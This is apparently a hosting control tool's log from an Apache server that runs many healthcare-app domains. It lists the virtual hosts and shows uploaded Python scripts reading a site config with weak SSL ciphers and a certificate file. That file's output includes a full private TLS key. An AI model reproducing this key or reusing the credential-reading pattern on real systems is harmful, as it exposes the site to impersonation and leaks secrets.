         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-01 12:53:48: 

PUT: /tmp/pkp379523

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-01 12:53:48: 

chmod 755 /tmp/pkp379523; /tmp/pkp379523; rm /tmp/pkp379523

2026-04-01 12:53:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf	1340

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-01 12:53:48: 

PUT: /tmp/pkp514634

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-01 12:53:48: 

chmod 755 /tmp/pkp514634; /tmp/pkp514634; rm /tmp/pkp514634

2026-04-01 12:53:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293	5349
17:c8:c6:01:eb:64:8a:16:50:11:14:89:6e:15:13:b4

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBrSuz4ArMSw1wBXTMsq6OxIxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDAxMTE1NTEyWhcNMjYwNjMwMTE1NTExWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAkSzUCMym7KRRoP8ayvFgcLg45t+EjBX5W9vbMYaq47oQEBqb0RCLqKc8
ZK9UX/x7fhchMRoO/lSfz1ZLvjO5qDUCc2v6hkfsALc4SCyCcjz+bWjHBItua265
52mK5A3NqTbBRoHZLVVcHB9KY9yDQJAIICjRA4BMSN7tcCHJ7wlrxw1Gx6oTGDCY
NOkpojIWKK6JJhU4aIJG3OGmVhTCDnmSCND2RruXrECHjr90ClbTs4kM1HIv0CFs
U17a3eeN5WR8VoHjtwOfTGsukfFFYshfwhxgw7om8rI4ZqVjuRHlc3Lw+yQsZwIz
J5VPkyVNx+n4AUOaYhl9XnBrh4GSQQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FEnwhJtNCuKY8Gf1MS9TcG0c8eqDMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITdGVzdC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzUwLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB9AKgmy+MK
xjUSRlM/4GXxTxnZbhkIE8Qd2W15ALMSPFUnAAABnUkbXcoACAAABQAFHnctBAMA
RjBEAiA2xLVSyuOh+gTGD7DmnwiF23s/3dcM/kka9sAp8PhIlAIgcyXcbJj2g4+d
390xdZiyeiOb3gyJU0UJyR1X8+gYS0QAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcK
aQWFsMsUwxRY5wAAAZ1JG2oIAAAEAwBHMEUCIQCE5t5+GyqvvRepn652496iopu1
NDnEaY+5Suw936TlZAIgPwScYsVdSdwNv4lunuJypl2u4VGNb41UgLspIiqu9hIw
DQYJKoZIhvcNAQELBQADggEBAFurcoD2H17lrtCXtOQ05ddddD/gAEoSQOOfv3z1
ou4nAZK9lL2q2Dcvu5thnS+nrZMFx2obKZulwLXvg7YEdCNnfPu3AuNS6YUAqz8V
8udcnVQUoHjv1ddzHOVEEVwVkE+u/aAs4Hx+L4tfex6AUn26hkjNUkIRh/KyHGz3
dvMqD0ziMoIWDWlW3eaZSgpNgz6mG58KpMbj1LVYmT7cL+1gEbtgTLBcDFSM0U0p
dTULninrmSltyrciKajNzy+ekKtRPVFyQDHv2ZZNtIBqHO9LLdyaASwcYBA7j+C4
kEV/E/I1h8wdHn5I4OJnXCp4h1K4IHTeXhfeXACuoy/BY1g=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCRLNQIzKbspFGg
/xrK8WBwuDjm34SMFflb29sxhqrjuhAQGpvREIuopzxkr1Rf/Ht+FyExGg7+VJ/P
Vku+M7moNQJza/qGR+wAtzhILIJyPP5taMcEi25rbrnnaYrkDc2pNsFGgdktVVwc
H0pj3INAkAggKNEDgExI3u1wIcnvCWvHDUbHqhMYMJg06SmiMhYorokmFThogkbc
4aZWFMIOeZII0PZGu5esQIeOv3QKVtOziQzUci/QIWxTXtrd543lZHxWgeO3A59M
ay6R8UViyF/CHGDDuibysjhmpWO5EeVzcvD7JCxnAjMnlU+TJU3H6fgBQ5piGX1e
cGuHgZJBAgMBAAECgf8xkofUzrfb6+rzztNB+VUKfd2a+I2KSEvzJ1/xyXURI2KD
cpKXu86fXdEsOwfUvvfBq/mUNWcT8ab1uxdMxjI0qI/trzFyKPJYTDgrwlxzezW7
USFPAU2d4cbD/oYu2YfLVacp1wJnOH6mG7PgkFaWn+17uHRRfb3kJDtvzsSQRWOf
DfeMYaRB6Oo1O9LSrf10xGmFBoOZKCNstIXanujXBTU8oKW64i+dACmgW+M4x5Op
uwK97bagL4A9pT8Mt0p9H4cEbzF83HVxcsYgSOuXqYq8xaH6b0HM4y5SoOPqwVzP
EAEkAp4qb1+izsY6HNQ7pZPPwISLZlywZs/VBmUCgYEAwb/1HpaZPkfMIuMfqDp3
LfUz/B+CHAl6npMYE/yC0V5U/rtEqEVXbXTbOWMqWv4vRrfkFXyQ/PD2dy7YO9mY
SDqgj5VnKAjUJHUG348BfRM5i4sI058exzxTNEHbWkCCVGiwRksFwuRB2mr91Hag
dGVktvAznF82sUt0+toVlg0CgYEAv9GR614rXRIiD/D0m9cBAawDmZufdVQJKSXi
IS9rGRH3CxtE5T2UPjy0yYcI+g/QSRA4WMv6ONBVS0LYqDT8CE0Ph8wyw7fJoII/
zHmc6peNdZOgAwO1SQ+C8fUG6V5EEjJFSbJFrZI3FHDlWVT6zSWUsi4dbSh3NEOB
qRlHNAUCgYEAqBFt/lTBJgd+Cx1eTr44uAMmTyS95rhKR9htYJkAmcHslPO5wQY1
qttdd9CP41Lvi7blAcaGtwQHqKdYJ8K/mJhSw3rkexP9goqJpdAViHvuxR+cToaP
WmD4BDLEpuuioroVf0SBAOikP2XkPjORSKbT0OVYv+LQPMep+BjJ9NkCgYB+heFV
+rtnnHpTQYBW+q5zR97oBzpazZ9tQMuzT++4jZ0B+m6rNr79flVRSHynVJ7yUnyY
NZNKvkBEcEcwTCKh5xKDZDFn32ZjNQaX/O9/3Y81Kra0xlFha5XXuuNgMwl7ZyVE
ww4quvMRzJW7Is57WnqGPNy0D6jxFEYGH+JTcQKBgCqEO1u5NFjMNz9Y0M7bHP58
C4iYV5mAgxnxUzJ+gMnMGt8LgZSYgTEwU/+jcb4Q1ASyWgtmf7rQASjdwmuul824
sVAX9dAJHIVHdtWm4gp98GKAOzUv7DoUHX7Pdv2iBPFDcThYcgjQticXcU+BHwdJ
CmS2AuZZ8NslecK3bY4M
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
